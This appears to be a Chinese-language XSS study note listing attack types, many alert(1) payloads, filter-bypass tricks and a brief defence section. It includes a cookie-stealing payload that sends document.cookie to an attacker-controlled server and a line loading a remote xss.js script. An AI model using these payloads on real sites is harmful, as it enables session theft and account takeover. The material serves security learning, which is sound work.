116196546349439004
前言
跨网站指令码(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程式的安全漏洞攻击,是代码注入的一种。它允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响。这类攻击通常包含了HTML以及使用者端脚本语言。(维基百科)
漏洞原理
- 站点可以执行用户输入的HTML代码,且可以保存这段HTML代码
常见业务
漏洞种类
- DOM型XSS
- 在请求的参数中(也有可能存在于锚点中)实现XSS,但是仅仅对此次访问产生影响
- 反射型XSS(Reflected)
- 你提交的数据成功的实现了XSS,但是仅仅是对此次访问产生了影响,是非持久性攻击
- 存储型XSS(Stored)
- 你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发,是持久性攻击
- 突变型mXSS
- 通用型UXSS
- Flash XSS
- UTF-7 XSS
- MHTML XSS
- CSS XSS
- VBScript XSS
漏洞利用
可以用于测试XSS攻击的JS语句
可以用于XSS攻击的HTML标签
手动触发JS伪协议
1
| <div onclick="javascript:alert(1);">1</div>
|
1
| <a href="javascript:alert(1);">1</a>
|
1
| <form action="javascript:alert(1);"><input type="submit"></form>
|
1
| <details ontoggle="javascript:alert(1);"></details>
|
自动触发JS伪协议
1
| <img src="" onerror="javascript:alert(1);">
|
1
| <video><source onerror="javascript:alert(1);"></video>
|
1
| <audio src="" onerror="javascript:alert(1);"></audio>
|
- 输入框自动获取焦点并触发XSS,这种方式会无限弹窗
1
| <input onfocus="javascript:alert(1);" autofocus>
|
- 文本域自动获取焦点并触发XSS,这种方法会无限弹窗
1
| <textarea onfocus="javascript:alert(1);" autofocus></textarea>
|
- 下拉选框自动获取焦点并触发XSS,这种方法会无限弹窗
1
| <select onfocus="javascript:alert(1);" autofocus></select>
|
1
| <details ontoggle="javascript:alert(1);" open></details>
|
1
| <body onload="javascript:alert(1);"></body>
|
1
| <svg onload="javascript:alert(1);"></svg>
|
1
| <iframe onload="javascript:alert(1);"></iframe>
|
1
| <iframe src="javascript:alert(1);">1</iframe>
|
HTTP请求带外
- 启动Web服务器
1
| python -m http.server 8080
|
- 写入XSS
http://127.0.0.1:8080/?:自己的服务器,用于接收反弹的请求,?后以参数的形式携带敏感数据
1
| <script>document.write(`<img src="http://127.0.0.1:8080/?${document.cookie}">`);</script>
|
- 等待管理员访问,HTTP请求携带Cookie
可以发请求的HTML标签
自动触发发送请求
1
| <script src="http://127.0.0.1:8080/?"></script>
|
1
| <img src="http://127.0.0.1:8080/?">
|
1
| <link rel="import" href="http://127.0.0.1:8080/?">
|
手动触发发送请求
1
| <a href="http://127.0.0.1:8080/?"></a>
|
关键字绕过
关键字过滤绕过
通过大小写绕过关键字过滤
- 如果服务器做了字符串
script匹配过滤,并且没有提前将所有字符串转换为小写,由于浏览器不区分大小写,可以采用大小写绕过
1
| <Script>alert(1)</Script>
|
通过双写绕过关键字过滤
- 如果服务器做了字符串
script匹配过滤,并且将匹配到的字符串置为空,可以采用双写绕过
1
| <scripscriptt>alert(1)</script>
|
通过其他编码绕过关键字过滤
HTML编码
| 字符 |
原ASCII编码十进制 |
HTML可解码的ASCII编码(十进制) |
HTML可解码的ASCII编码(十六进制) |
| a |
97 |
a |
a |
| 制表符 |
9 |
	 |
 |
| 换行符 |
10 |
|
  |
| 回车符 |
13 |
|
Ð |
1
| <a href="javascript:alert(1)"></a>
|
Unicode编码
1
| <img src="" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')">
|
通过拆分关键字绕过关键字过滤
- 如果服务器做了关键字匹配过滤,可以将关键字拆分成多个字符串变量,最后将字符串合并,通过
eval()执行
1 2 3
| <script>let a = 'a'</script> <script>let b = 'lert'</script> <script>eval(a+b+'(1)')</script>
|
空格过滤绕过
1
| <a/href="javascript:alert(1)"></a>
|
- 如果服务器做了空格匹配过滤,可以使用制表符、回车符、换行符、分页符作为换行符
1
| <scrip t>alert(1)</scrip t>
|
1 2 3
| <scrip t>alert(1)</scrip t>
|
引号过滤绕过
改用双引号
1
| <a href="javascript:alert(1)"></a>
|
改用单引号
1
| <a href='javascript:alert(1)'></a>
|
改为不使用引号
1
| <a href=javascript:alert(1)></a>
|
ShellCode调用的位置
1
| <script src="http://127.0.0.1:80/xss.js"></script>
|
- 构造出如下请求,将xss代码通过
window.location.hash存储在地址中
request1
| GET /?xss=<script>eval(window.location.hash.substr(1))</script>#alert(1)
|
过滤探测
- 探测代码执行后通过审查元素,查看哪些字符被过滤了
- 可以探测到是否有引号过滤、是否有尖括号过滤、是否有关键字过滤、是否进行大小写转换
防御
- 通过字符过滤防御所有XSS
- 通过限制输入的字符串长度防御所有XSS
- 通过将特殊字符转义的方式防御所有XSS
- 通过HTTPOnly的方式存储Cookie防御通过XSS窃取Cookie
- 通过设置CSP(Content Security Policy)控制向外发送请求的限制
完成
参考文献
哔哩哔哩——腾讯掌控安全学院
哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec
先知社区——By七友